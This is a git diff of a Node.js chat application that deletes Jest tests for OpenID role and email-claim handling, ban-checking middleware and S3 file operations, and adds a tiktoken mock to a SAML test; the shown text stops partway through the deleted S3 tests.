- it('resolves admin via Graph independently when OPENID_REQUIRED_ROLE is not configured', async () => {
- delete process.env.OPENID_REQUIRED_ROLE;
- process.env.OPENID_ADMIN_ROLE = 'admin-group-id';
- process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'groups';
- process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id';
-
- jwtDecode.mockReturnValue({ hasgroups: true });
- await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
-
- undici.fetch.mockResolvedValue({
- ok: true,
- status: 200,
- statusText: 'OK',
- json: async () => ({ value: ['admin-group-id'] }),
- });
-
- const { user } = await validate(tokenset);
- expect(user.role).toBe('ADMIN');
- expect(undici.fetch).toHaveBeenCalledTimes(1);
- });
-
- it('denies admin when OPENID_REQUIRED_ROLE is absent and Graph does not contain admin group', async () => {
- delete process.env.OPENID_REQUIRED_ROLE;
- process.env.OPENID_ADMIN_ROLE = 'admin-group-id';
- process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'groups';
- process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id';
-
- jwtDecode.mockReturnValue({ hasgroups: true });
- await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
-
- undici.fetch.mockResolvedValue({
- ok: true,
- status: 200,
- statusText: 'OK',
- json: async () => ({ value: ['other-group'] }),
- });
-
- const { user } = await validate(tokenset);
- expect(user).toBeTruthy();
- expect(user.role).toBeUndefined();
- });
-
- it('denies login and logs error when OBO exchange throws', async () => {
- const openidClient = require('openid-client');
- process.env.OPENID_REQUIRED_ROLE = 'group-required';
- process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
- process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
-
- jwtDecode.mockReturnValue({ hasgroups: true });
- openidClient.genericGrantRequest.mockRejectedValueOnce(new Error('OBO exchange rejected'));
-
- await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
-
- const { user, details } = await validate(tokenset);
- expect(user).toBe(false);
- expect(details.message).toBe('You must have "group-required" role to log in.');
- expect(undici.fetch).not.toHaveBeenCalled();
- });
-
- it('denies login when OBO exchange returns no access_token', async () => {
- const openidClient = require('openid-client');
- process.env.OPENID_REQUIRED_ROLE = 'group-required';
- process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
- process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
-
- jwtDecode.mockReturnValue({ hasgroups: true });
- openidClient.genericGrantRequest.mockResolvedValueOnce({ expires_in: 3600 });
-
- await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
-
- const { user, details } = await validate(tokenset);
- expect(user).toBe(false);
- expect(details.message).toBe('You must have "group-required" role to log in.');
- expect(undici.fetch).not.toHaveBeenCalled();
- });
- });
-
it('should attempt to download and save the avatar if picture is provided', async () => {
// Act
const { user } = await validate(tokenset);
@@ -1577,46 +1182,6 @@ describe('setupOpenId', () => {
expect(user.role).toBeUndefined();
});
- it('should grant admin when admin role claim is a space-separated string containing the admin role', async () => {
- // Arrange – IdP returns admin roles as a space-delimited string
- process.env.OPENID_ADMIN_ROLE = 'site-admin';
- process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'app_roles';
-
- jwtDecode.mockReturnValue({
- roles: ['requiredRole'],
- app_roles: 'user site-admin moderator',
- });
-
- await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
-
- // Act
- const { user } = await validate(tokenset);
-
- // Assert – admin role is granted after splitting the delimited string
- expect(user.role).toBe('ADMIN');
- });
-
- it('should not grant admin when admin role claim is a space-separated string that does not contain the admin role', async () => {
- // Arrange – delimited string present but admin role is absent
- process.env.OPENID_ADMIN_ROLE = 'site-admin';
- process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'app_roles';
-
- jwtDecode.mockReturnValue({
- roles: ['requiredRole'],
- app_roles: 'user moderator',
- });
-
- await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
-
- // Act
- const { user } = await validate(tokenset);
-
- // Assert – admin role is not granted
- expect(user.role).toBeUndefined();
- });
-
it('should handle nested path with special characters in keys', async () => {
process.env.OPENID_REQUIRED_ROLE = 'app-user';
process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'resource_access.my-app-123.roles';
@@ -1741,82 +1306,4 @@ describe('setupOpenId', () => {
expect(user).toBe(false);
});
});
-
- describe('OPENID_EMAIL_CLAIM', () => {
- it('should use the default email when OPENID_EMAIL_CLAIM is not set', async () => {
- const { user } = await validate(tokenset);
- expect(user.email).toBe('test@example.com');
- });
-
- it('should use the configured claim when OPENID_EMAIL_CLAIM is set', async () => {
- process.env.OPENID_EMAIL_CLAIM = 'upn';
- const userinfo = { ...tokenset.claims(), upn: 'user@corp.example.com' };
-
- const { user } = await validate({ ...tokenset, claims: () => userinfo });
-
- expect(user.email).toBe('user@corp.example.com');
- expect(createUser).toHaveBeenCalledWith(
- expect.objectContaining({ email: 'user@corp.example.com' }),
- expect.anything(),
- true,
- true,
- );
- });
-
- it('should fall back to preferred_username when email is missing and OPENID_EMAIL_CLAIM is not set', async () => {
- const userinfo = { ...tokenset.claims() };
- delete userinfo.email;
-
- const { user } = await validate({ ...tokenset, claims: () => userinfo });
-
- expect(user.email).toBe('testusername');
- });
-
- it('should fall back to upn when email and preferred_username are missing and OPENID_EMAIL_CLAIM is not set', async () => {
- const userinfo = { ...tokenset.claims(), upn: 'user@corp.example.com' };
- delete userinfo.email;
- delete userinfo.preferred_username;
-
- const { user } = await validate({ ...tokenset, claims: () => userinfo });
-
- expect(user.email).toBe('user@corp.example.com');
- });
-
- it('should ignore empty string OPENID_EMAIL_CLAIM and use default fallback', async () => {
- process.env.OPENID_EMAIL_CLAIM = '';
-
- const { user } = await validate(tokenset);
-
- expect(user.email).toBe('test@example.com');
- });
-
- it('should trim whitespace from OPENID_EMAIL_CLAIM and resolve correctly', async () => {
- process.env.OPENID_EMAIL_CLAIM = ' upn ';
- const userinfo = { ...tokenset.claims(), upn: 'user@corp.example.com' };
-
- const { user } = await validate({ ...tokenset, claims: () => userinfo });
-
- expect(user.email).toBe('user@corp.example.com');
- });
-
- it('should ignore whitespace-only OPENID_EMAIL_CLAIM and use default fallback', async () => {
- process.env.OPENID_EMAIL_CLAIM = ' ';
-
- const { user } = await validate(tokenset);
-
- expect(user.email).toBe('test@example.com');
- });
-
- it('should fall back to default chain with warning when configured claim is missing from userinfo', async () => {
- const { logger } = require('@librechat/data-schemas');
- process.env.OPENID_EMAIL_CLAIM = 'nonexistent_claim';
-
- const { user } = await validate(tokenset);
-
- expect(user.email).toBe('test@example.com');
- expect(logger.warn).toHaveBeenCalledWith(
- expect.stringContaining('OPENID_EMAIL_CLAIM="nonexistent_claim" not present in userinfo'),
- );
- });
- });
});
diff --git a/api/strategies/samlStrategy.spec.js b/api/strategies/samlStrategy.spec.js
index 1d16719b87..06c969ce46 100644
--- a/api/strategies/samlStrategy.spec.js
+++ b/api/strategies/samlStrategy.spec.js
@@ -1,4 +1,5 @@
// --- Mocks ---
+jest.mock('tiktoken');
jest.mock('fs');
jest.mock('path');
jest.mock('node-fetch');
diff --git a/api/test/server/middleware/checkBan.test.js b/api/test/server/middleware/checkBan.test.js
deleted file mode 100644
index 518153be67..0000000000
--- a/api/test/server/middleware/checkBan.test.js
+++ /dev/null
@@ -1,426 +0,0 @@
-const mockBanCacheGet = jest.fn().mockResolvedValue(undefined);
-const mockBanCacheSet = jest.fn().mockResolvedValue(undefined);
-
-jest.mock('keyv', () => ({
- Keyv: jest.fn().mockImplementation(() => ({
- get: mockBanCacheGet,
- set: mockBanCacheSet,
- })),
-}));
-
-const mockBanLogsGet = jest.fn().mockResolvedValue(undefined);
-const mockBanLogsDelete = jest.fn().mockResolvedValue(true);
-const mockBanLogs = {
- get: mockBanLogsGet,
- delete: mockBanLogsDelete,
- opts: { ttl: 7200000 },
-};
-
-jest.mock('~/cache', () => ({
- getLogStores: jest.fn(() => mockBanLogs),
-}));
-
-jest.mock('@librechat/data-schemas', () => ({
- logger: {
- info: jest.fn(),
- warn: jest.fn(),
- debug: jest.fn(),
- error: jest.fn(),
- },
-}));
-
-jest.mock('@librechat/api', () => ({
- isEnabled: (value) => {
- if (typeof value === 'boolean') {
- return value;
- }
- if (typeof value === 'string') {
- return value.toLowerCase().trim() === 'true';
- }
- return false;
- },
- keyvMongo: {},
- removePorts: jest.fn((req) => req.ip),
-}));
-
-jest.mock('~/models', () => ({
- findUser: jest.fn(),
-}));
-
-jest.mock('~/server/middleware/denyRequest', () => jest.fn().mockResolvedValue(undefined));
-
-jest.mock('ua-parser-js', () => jest.fn(() => ({ browser: { name: 'Chrome' } })));
-
-const checkBan = require('~/server/middleware/checkBan');
-const { logger } = require('@librechat/data-schemas');
-const { findUser } = require('~/models');
-
-const createReq = (overrides = {}) => ({
- ip: '192.168.1.1',
- user: { id: 'user123' },
- headers: { 'user-agent': 'Mozilla/5.0' },
- body: {},
- baseUrl: '/api',
- originalUrl: '/api/test',
- ...overrides,
-});
-
-const createRes = () => ({
- status: jest.fn().mockReturnThis(),
- json: jest.fn().mockReturnThis(),
-});
-
-describe('checkBan middleware', () => {
- let originalEnv;
-
- beforeEach(() => {
- originalEnv = { ...process.env };
- process.env.BAN_VIOLATIONS = 'true';
- delete process.env.USE_REDIS;
- mockBanLogs.opts.ttl = 7200000;
- });
-
- afterEach(() => {
- process.env = originalEnv;
- jest.clearAllMocks();
- });
-
- describe('early exits', () => {
- it('calls next() when BAN_VIOLATIONS is disabled', async () => {
- process.env.BAN_VIOLATIONS = 'false';
- const next = jest.fn();
-
- await checkBan(createReq(), createRes(), next);
-
- expect(next).toHaveBeenCalledWith();
- expect(mockBanCacheGet).not.toHaveBeenCalled();
- });
-
- it('calls next() when BAN_VIOLATIONS is unset', async () => {
- delete process.env.BAN_VIOLATIONS;
- const next = jest.fn();
-
- await checkBan(createReq(), createRes(), next);
-
- expect(next).toHaveBeenCalledWith();
- });
-
- it('calls next() when neither userId nor IP is available', async () => {
- const next = jest.fn();
- const req = createReq({ ip: null, user: null });
-
- await checkBan(req, createRes(), next);
-
- expect(next).toHaveBeenCalledWith();
- });
-
- it('calls next() when ban duration is <= 0', async () => {
- mockBanLogs.opts.ttl = 0;
- const next = jest.fn();
-
- await checkBan(createReq(), createRes(), next);
-
- expect(next).toHaveBeenCalledWith();
- });
-
- it('calls next() when no ban exists in cache or DB', async () => {
- const next = jest.fn();
-
- await checkBan(createReq(), createRes(), next);
-
- expect(next).toHaveBeenCalledWith();
- expect(mockBanCacheGet).toHaveBeenCalled();
- expect(mockBanLogsGet).toHaveBeenCalled();
- });
- });
-
- describe('cache hit path', () => {
- it('returns 403 when IP ban is cached', async () => {
- mockBanCacheGet.mockResolvedValueOnce({ expiresAt: Date.now() + 60000 });
- const next = jest.fn();
- const req = createReq();
- const res = createRes();
-
- await checkBan(req, res, next);
-
- expect(next).not.toHaveBeenCalled();
- expect(req.banned).toBe(true);
- expect(res.status).toHaveBeenCalledWith(403);
- });
-
- it('returns 403 when user ban is cached (IP miss)', async () => {
- mockBanCacheGet
- .mockResolvedValueOnce(undefined)
- .mockResolvedValueOnce({ expiresAt: Date.now() + 60000 });
- const next = jest.fn();
- const req = createReq();
- const res = createRes();
-
- await checkBan(req, res, next);
-
- expect(next).not.toHaveBeenCalled();
- expect(req.banned).toBe(true);
- expect(res.status).toHaveBeenCalledWith(403);
- });
-
- it('does not query banLogs when cache hit occurs', async () => {
- mockBanCacheGet.mockResolvedValueOnce({ expiresAt: Date.now() + 60000 });
-
- await checkBan(createReq(), createRes(), jest.fn());
-
- expect(mockBanLogsGet).not.toHaveBeenCalled();
- });
- });
-
- describe('active ban (positive timeLeft)', () => {
- it('caches ban with correct TTL and returns 403', async () => {
- const expiresAt = Date.now() + 3600000;
- const banRecord = { expiresAt, type: 'ban', violation_count: 3 };
- mockBanLogsGet.mockResolvedValueOnce(banRecord);
- const next = jest.fn();
- const req = createReq();
- const res = createRes();
-
- await checkBan(req, res, next);
-
- expect(next).not.toHaveBeenCalled();
- expect(req.banned).toBe(true);
- expect(res.status).toHaveBeenCalledWith(403);
- expect(mockBanCacheSet).toHaveBeenCalledTimes(2);
-
- const [ipCacheCall, userCacheCall] = mockBanCacheSet.mock.calls;
- expect(ipCacheCall[0]).toBe('192.168.1.1');
- expect(ipCacheCall[1]).toBe(banRecord);
- expect(ipCacheCall[2]).toBeGreaterThan(0);
- expect(ipCacheCall[2]).toBeLessThanOrEqual(3600000);
-
- expect(userCacheCall[0]).toBe('user123');
- expect(userCacheCall[1]).toBe(banRecord);
- });
-
- it('caches only IP when no userId is present', async () => {
- const expiresAt = Date.now() + 3600000;
- mockBanLogsGet.mockResolvedValueOnce({ expiresAt, type: 'ban' });
- const req = createReq({ user: null });
-
- await checkBan(req, createRes(), jest.fn());
-
- expect(mockBanCacheSet).toHaveBeenCalledTimes(1);
- expect(mockBanCacheSet).toHaveBeenCalledWith(
- '192.168.1.1',
- expect.any(Object),
- expect.any(Number),
- );
- });
- });
-
- describe('expired ban cleanup', () => {
- it('cleans up and calls next() for expired user-key ban', async () => {
- const expiresAt = Date.now() - 1000;
- mockBanLogsGet
- .mockResolvedValueOnce(undefined)
- .mockResolvedValueOnce({ expiresAt, type: 'ban' });
- const next = jest.fn();
- const req = createReq();
-
- await checkBan(req, createRes(), next);
-
- expect(next).toHaveBeenCalledWith();
- expect(req.banned).toBeUndefined();
- expect(mockBanLogsDelete).toHaveBeenCalledWith('user123');
- expect(mockBanCacheSet).not.toHaveBeenCalled();
- });
-
- it('cleans up and calls next() for expired IP-only ban (Finding 1 regression)', async () => {
- const expiresAt = Date.now() - 1000;
- mockBanLogsGet.mockResolvedValueOnce({ expiresAt, type: 'ban' });
- const next = jest.fn();
- const req = createReq({ user: null });
-
- await checkBan(req, createRes(), next);
-
- expect(next).toHaveBeenCalledWith();
- expect(req.banned).toBeUndefined();
- expect(mockBanLogsDelete).toHaveBeenCalledWith('192.168.1.1');
- expect(mockBanCacheSet).not.toHaveBeenCalled();
- });
-
- it('cleans up both IP and user bans when both are expired', async () => {
- const expiresAt = Date.now() - 1000;
- mockBanLogsGet
- .mockResolvedValueOnce({ expiresAt, type: 'ban' })
- .mockResolvedValueOnce({ expiresAt, type: 'ban' });
- const next = jest.fn();
-
- await checkBan(createReq(), createRes(), next);
-
- expect(next).toHaveBeenCalledWith();
- expect(mockBanLogsDelete).toHaveBeenCalledTimes(2);
- expect(mockBanLogsDelete).toHaveBeenCalledWith('192.168.1.1');
- expect(mockBanLogsDelete).toHaveBeenCalledWith('user123');
- });
-
- it('does not write to banCache when ban is expired', async () => {
- const expiresAt = Date.now() - 60000;
- mockBanLogsGet.mockResolvedValueOnce({ expiresAt, type: 'ban' });
-
- await checkBan(createReq({ user: null }), createRes(), jest.fn());
-
- expect(mockBanCacheSet).not.toHaveBeenCalled();
- });
- });
-
- describe('Redis key paths (Finding 2 regression)', () => {
- beforeEach(() => {
- process.env.USE_REDIS = 'true';
- });
-
- it('uses cache-prefixed keys for banCache.get', async () => {
- await checkBan(createReq(), createRes(), jest.fn());
-
- expect(mockBanCacheGet).toHaveBeenCalledWith('ban_cache:ip:192.168.1.1');
- expect(mockBanCacheGet).toHaveBeenCalledWith('ban_cache:user:user123');
- });
-
- it('uses raw keys (not cache-prefixed) for banLogs.delete on cleanup', async () => {
- const expiresAt = Date.now() - 1000;
- mockBanLogsGet
- .mockResolvedValueOnce({ expiresAt, type: 'ban' })
- .mockResolvedValueOnce({ expiresAt, type: 'ban' });
-
- await checkBan(createReq(), createRes(), jest.fn());
-
- expect(mockBanLogsDelete).toHaveBeenCalledWith('192.168.1.1');
- expect(mockBanLogsDelete).toHaveBeenCalledWith('user123');
- for (const call of mockBanLogsDelete.mock.calls) {
- expect(call[0]).not.toMatch(/^ban_cache:/);
- }
- });
-
- it('uses cache-prefixed keys for banCache.set on active ban', async () => {
- const expiresAt = Date.now() + 3600000;
- mockBanLogsGet.mockResolvedValueOnce({ expiresAt, type: 'ban' });
-
- await checkBan(createReq(), createRes(), jest.fn());
-
- expect(mockBanCacheSet).toHaveBeenCalledWith(
- 'ban_cache:ip:192.168.1.1',
- expect.any(Object),
- expect.any(Number),
- );
- expect(mockBanCacheSet).toHaveBeenCalledWith(
- 'ban_cache:user:user123',
- expect.any(Object),
- expect.any(Number),
- );
- });
- });
-
- describe('missing expiresAt guard (Finding 5)', () => {
- it('returns 403 without caching when expiresAt is missing', async () => {
- mockBanLogsGet.mockResolvedValueOnce({ type: 'ban' });
- const next = jest.fn();
- const req = createReq();
- const res = createRes();
-
- await checkBan(req, res, next);
-
- expect(next).not.toHaveBeenCalled();
- expect(req.banned).toBe(true);
- expect(res.status).toHaveBeenCalledWith(403);
- expect(mockBanCacheSet).not.toHaveBeenCalled();
- });
-
- it('returns 403 without caching when expiresAt is NaN-producing', async () => {
- mockBanLogsGet.mockResolvedValueOnce({ type: 'ban', expiresAt: 'not-a-number' });
- const next = jest.fn();
- const res = createRes();
-
- await checkBan(createReq(), res, next);
-
- expect(next).not.toHaveBeenCalled();
- expect(res.status).toHaveBeenCalledWith(403);
- expect(mockBanCacheSet).not.toHaveBeenCalled();
- });
-
- it('returns 403 without caching when expiresAt is null', async () => {
- mockBanLogsGet.mockResolvedValueOnce({ type: 'ban', expiresAt: null });
- const next = jest.fn();
- const res = createRes();
-
- await checkBan(createReq(), res, next);
-
- expect(next).not.toHaveBeenCalled();
- expect(res.status).toHaveBeenCalledWith(403);
- expect(mockBanCacheSet).not.toHaveBeenCalled();
- });
- });
-
- describe('cache write error handling (Finding 4)', () => {
- it('still returns 403 when banCache.set rejects', async () => {
- const expiresAt = Date.now() + 3600000;
- mockBanLogsGet.mockResolvedValueOnce({ expiresAt, type: 'ban' });
- mockBanCacheSet.mockRejectedValue(new Error('MongoDB write failure'));
- const next = jest.fn();
- const req = createReq();
- const res = createRes();
-
- await checkBan(req, res, next);
-
- expect(next).not.toHaveBeenCalled();
- expect(req.banned).toBe(true);
- expect(res.status).toHaveBeenCalledWith(403);
- });
-
- it('logs a warning when banCache.set fails', async () => {
- const expiresAt = Date.now() + 3600000;
- mockBanLogsGet.mockResolvedValueOnce({ expiresAt, type: 'ban' });
- mockBanCacheSet.mockRejectedValue(new Error('write failed'));
-
- await checkBan(createReq(), createRes(), jest.fn());
-
- expect(logger.warn).toHaveBeenCalledWith(
- '[checkBan] Failed to write ban cache:',
- expect.any(Error),
- );
- });
- });
-
- describe('user lookup by email', () => {
- it('resolves userId from email when not on request', async () => {
- const req = createReq({ user: null, body: { email: 'test@example.com' } });
- findUser.mockResolvedValueOnce({ _id: 'resolved-user-id' });
- const expiresAt = Date.now() + 3600000;
- mockBanLogsGet
- .mockResolvedValueOnce(undefined)
- .mockResolvedValueOnce({ expiresAt, type: 'ban' });
-
- await checkBan(req, createRes(), jest.fn());
-
- expect(findUser).toHaveBeenCalledWith({ email: 'test@example.com' }, '_id');
- expect(req.banned).toBe(true);
- });
-
- it('continues with IP-only check when email lookup finds no user', async () => {
- const req = createReq({ user: null, body: { email: 'unknown@example.com' } });
- findUser.mockResolvedValueOnce(null);
- const next = jest.fn();
-
- await checkBan(req, createRes(), next);
-
- expect(next).toHaveBeenCalledWith();
- });
- });
-
- describe('error handling', () => {
- it('calls next(error) when an unexpected error occurs', async () => {
- mockBanCacheGet.mockRejectedValueOnce(new Error('connection lost'));
- const next = jest.fn();
-
- await checkBan(createReq(), createRes(), next);
-
- expect(next).toHaveBeenCalledWith(expect.any(Error));
- expect(logger.error).toHaveBeenCalled();
- });
- });
-});
diff --git a/api/test/services/Files/S3/crud.test.js b/api/test/services/Files/S3/crud.test.js
deleted file mode 100644
index c7b46fba4c..0000000000
--- a/api/test/services/Files/S3/crud.test.js
+++ /dev/null
@@ -1,876 +0,0 @@
-const fs = require('fs');
-const fetch = require('node-fetch');
-const { Readable } = require('stream');
-const { FileSources } = require('librechat-data-provider');
-const {
- PutObjectCommand,
- GetObjectCommand,
- HeadObjectCommand,
- DeleteObjectCommand,
-} = require('@aws-sdk/client-s3');
-const { getSignedUrl } = require('@aws-sdk/s3-request-presigner');
-
-// Mock dependencies
-jest.mock('fs');
-jest.mock('node-fetch');
-jest.mock('@aws-sdk/s3-request-presigner');
-jest.mock('@aws-sdk/client-s3');
-
-jest.mock('@librechat/api', () => ({
- initializeS3: jest.fn(),
- deleteRagFile: jest.fn().mockResolvedValue(undefined),
- isEnabled: jest.fn((val) => val === 'true'),
-}));
-
-jest.mock('@librechat/data-schemas', () => ({
- logger: {
- debug: jest.fn(),
- info: jest.fn(),
- warn: jest.fn(),
- error: jest.fn(),
- },
-}));
-
-const { initializeS3, deleteRagFile } = require('@librechat/api');
-const { logger } = require('@librechat/data-schemas');
-
-// Set env vars before requiring crud so module-level constants pick them up
-process.env.AWS_BUCKET_NAME = 'test-bucket';
-process.env.S3_URL_EXPIRY_SECONDS = '120';
-
-const {
- saveBufferToS3,
- saveURLToS3,
- getS3URL,
- deleteFileFromS3,
- uploadFileToS3,
- getS3FileStream,
- refreshS3FileUrls,
- refreshS3Url,
- needsRefresh,
- getNewS3URL,
- extractKeyFromS3Url,
-} = require('~/server/services/Files/S3/crud');
-
-describe('S3 CRUD Operations', () => {
- let mockS3Client;
-
- beforeEach(() => {
- jest.clearAllMocks();
-
- // Setup mock S3 client
- mockS3Client = {
- send: jest.fn(),
- };
- initializeS3.mockReturnValue(mockS3Client);
- });
-
- afterEach(() => {
- delete process.env.S3_URL_EXPIRY_SECONDS;
- delete process.env.S3_REFRESH_EXPIRY_MS;
- delete process.env.AWS_BUCKET_NAME;
- });
-
- describe('saveBufferToS3', () => {
- it('should upload a buffer to S3 and return a signed URL', async () => {
- const mockBuffer = Buffer.from('test data');
- const mockSignedUrl =
- 'https://s3.amazonaws.com/test-bucket/images/user123/test.jpg?signature=abc';
-
- mockS3Client.send.mockResolvedValue({});
- getSignedUrl.mockResolvedValue(mockSignedUrl);
-
- const result = await saveBufferToS3({
- userId: 'user123',
- buffer: mockBuffer,
- fileName: 'test.jpg',
- basePath: 'images',
- });
-
- expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(PutObjectCommand));
- expect(result).toBe(mockSignedUrl);
- });
-
- it('should use default basePath if not provided', async () => {
- const mockBuffer = Buffer.from('test data');
- const mockSignedUrl =
- 'https://s3.amazonaws.com/test-bucket/images/user123/test.jpg?signature=abc';
-
- mockS3Client.send.mockResolvedValue({});
- getSignedUrl.mockResolvedValue(mockSignedUrl);
-
- await saveBufferToS3({
- userId: 'user123',
- buffer: mockBuffer,
- fileName: 'test.jpg',
- });
-
- expect(getSignedUrl).toHaveBeenCalled();
- });
-
- it('should handle S3 upload errors', async () => {
- const mockBuffer = Buffer.from('test data');
- const error = new Error('S3 upload failed');
-
- mockS3Client.send.mockRejectedValue(error);
-
- await expect(
- saveBufferToS3({
- userId: 'user123',
- buffer: mockBuffer,
- fileName: 'test.jpg',
- }),
- ).rejects.toThrow('S3 upload failed');
-
- expect(logger.error).toHaveBeenCalledWith(
- '[saveBufferToS3] Error uploading buffer to S3:',
- 'S3 upload failed',
- );
- });
- });
-
- describe('getS3URL', () => {
- it('should return a signed URL for a file', async () => {
- const mockSignedUrl =
- 'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf?signature=xyz';
- getSignedUrl.mockResolvedValue(mockSignedUrl);
-
- const result = await getS3URL({
- userId: 'user123',
- fileName: 'file.pdf',
- basePath: 'documents',
- });
-
- expect(result).toBe(mockSignedUrl);
- expect(getSignedUrl).toHaveBeenCalledWith(
- mockS3Client,
- expect.any(GetObjectCommand),
- expect.objectContaining({ expiresIn: 120 }),
- );
- });
-
- it('should add custom filename to Content-Disposition header', async () => {
- const mockSignedUrl =
- 'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf?signature=xyz';
- getSignedUrl.mockResolvedValue(mockSignedUrl);
-
- await getS3URL({
- userId: 'user123',
- fileName: 'file.pdf',
- customFilename: 'custom-name.pdf',
- });
-
- expect(getSignedUrl).toHaveBeenCalled();
- });
-
- it('should add custom content type', async () => {
- const mockSignedUrl =
- 'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf?signature=xyz';
- getSignedUrl.mockResolvedValue(mockSignedUrl);
-
- await getS3URL({
- userId: 'user123',
- fileName: 'file.pdf',
- contentType: 'application/pdf',
- });
-
- expect(getSignedUrl).toHaveBeenCalled();
- });
-
- it('should handle errors when getting signed URL', async () => {
- const error = new Error('Failed to sign URL');
- getSignedUrl.mockRejectedValue(error);
-
- await expect(
- getS3URL({
- userId: 'user123',
- fileName: 'file.pdf',
- }),
- ).rejects.toThrow('Failed to sign URL');
-
- expect(logger.error).toHaveBeenCalledWith(
- '[getS3URL] Error getting signed URL from S3:',
- 'Failed to sign URL',
- );
- });
- });
-
- describe('saveURLToS3', () => {
- it('should fetch a file from URL and save to S3', async () => {
- const mockBuffer = Buffer.from('downloaded data');
- const mockResponse = {
- buffer: jest.fn().mockResolvedValue(mockBuffer),
- };
- const mockSignedUrl =
- 'https://s3.amazonaws.com/test-bucket/images/user123/downloaded.jpg?signature=abc';
-
- fetch.mockResolvedValue(mockResponse);
- mockS3Client.send.mockResolvedValue({});
- getSignedUrl.mockResolvedValue(mockSignedUrl);
-
- const result = await saveURLToS3({
- userId: 'user123',
- URL: 'https://example.com/image.jpg',
- fileName: 'downloaded.jpg',
- });
-
- expect(fetch).toHaveBeenCalledWith('https://example.com/image.jpg');
- expect(mockS3Client.send).toHaveBeenCalled();
- expect(result).toBe(mockSignedUrl);
- });
-
- it('should handle fetch errors', async () => {
- const error = new Error('Network error');
- fetch.mockRejectedValue(error);
-
- await expect(
- saveURLToS3({
- userId: 'user123',
- URL: 'https://example.com/image.jpg',
- fileName: 'downloaded.jpg',
- }),
- ).rejects.toThrow('Network error');
-
- expect(logger.error).toHaveBeenCalled();
- });
- });
-
- describe('deleteFileFromS3', () => {
- const mockReq = {
- user: { id: 'user123' },
- };
-
- it('should delete a file from S3', async () => {
- const mockFile = {
- filepath: 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg',
- file_id: 'file123',
- };
-
- // Mock HeadObject to verify file exists
- mockS3Client.send
- .mockResolvedValueOnce({}) // First HeadObject - exists
- .mockResolvedValueOnce({}) // DeleteObject
- .mockRejectedValueOnce({ name: 'NotFound' }); // Second HeadObject - deleted
-
- await deleteFileFromS3(mockReq, mockFile);
-
- expect(deleteRagFile).toHaveBeenCalledWith({ userId: 'user123', file: mockFile });
- expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(HeadObjectCommand));
- expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(DeleteObjectCommand));
- });
-
- it('should handle file not found gracefully', async () => {
- const mockFile = {
- filepath: 'https://s3.amazonaws.com/test-bucket/images/user123/nonexistent.jpg',
- file_id: 'file123',
- };
-
- mockS3Client.send.mockRejectedValue({ name: 'NotFound' });
-
- await deleteFileFromS3(mockReq, mockFile);
-
- expect(logger.warn).toHaveBeenCalled();
- });
-
- it('should throw error if user ID does not match', async () => {
- const mockFile = {
- filepath: 'https://s3.amazonaws.com/test-bucket/images/different-user/file.jpg',
- file_id: 'file123',
- };
-
- await expect(deleteFileFromS3(mockReq, mockFile)).rejects.toThrow('User ID mismatch');
- expect(logger.error).toHaveBeenCalled();
- });
-
- it('should handle NoSuchKey error', async () => {
- const mockFile = {
- filepath: 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg',
- file_id: 'file123',
- };
-
- mockS3Client.send
- .mockResolvedValueOnce({}) // HeadObject - exists
- .mockRejectedValueOnce({ code: 'NoSuchKey' }); // DeleteObject fails
-
- await deleteFileFromS3(mockReq, mockFile);
-
- expect(logger.debug).toHaveBeenCalled();
- });
- });
-
- describe('uploadFileToS3', () => {
- const mockReq = {
- user: { id: 'user123' },
- };
-
- it('should upload a file from disk to S3', async () => {
- const mockFile = {
- path: '/tmp/upload.jpg',
- originalname: 'photo.jpg',
- };
- const mockStats = { size: 1024 };
- const mockSignedUrl =
- 'https://s3.amazonaws.com/test-bucket/images/user123/file123__photo.jpg?signature=xyz';
-
- fs.promises = { stat: jest.fn().mockResolvedValue(mockStats) };
- fs.createReadStream = jest.fn().mockReturnValue(new Readable());
- mockS3Client.send.mockResolvedValue({});
- getSignedUrl.mockResolvedValue(mockSignedUrl);
-
- const result = await uploadFileToS3({
- req: mockReq,
- file: mockFile,
- file_id: 'file123',
- basePath: 'images',
- });
-
- expect(result).toEqual({
- filepath: mockSignedUrl,
- bytes: 1024,
- });
- expect(fs.createReadStream).toHaveBeenCalledWith('/tmp/upload.jpg');
- expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(PutObjectCommand));
- });
-
- it('should handle upload errors and clean up temp file', async () => {
- const mockFile = {
- path: '/tmp/upload.jpg',
- originalname: 'photo.jpg',
- };
- const error = new Error('Upload failed');
-
- fs.promises = {
- stat: jest.fn().mockResolvedValue({ size: 1024 }),
- unlink: jest.fn().mockResolvedValue(),
- };
- fs.createReadStream = jest.fn().mockReturnValue(new Readable());
- mockS3Client.send.mockRejectedValue(error);
-
- await expect(
- uploadFileToS3({
- req: mockReq,
- file: mockFile,
- file_id: 'file123',
- }),
- ).rejects.toThrow('Upload failed');
-
- expect(logger.error).toHaveBeenCalledWith(
- '[uploadFileToS3] Error streaming file to S3:',
- error,
- );
- });
- });
-
- describe('getS3FileStream', () => {
- it('should return a readable stream for a file', async () => {
- const mockStream = new Readable();
- const mockResponse = { Body: mockStream };
-
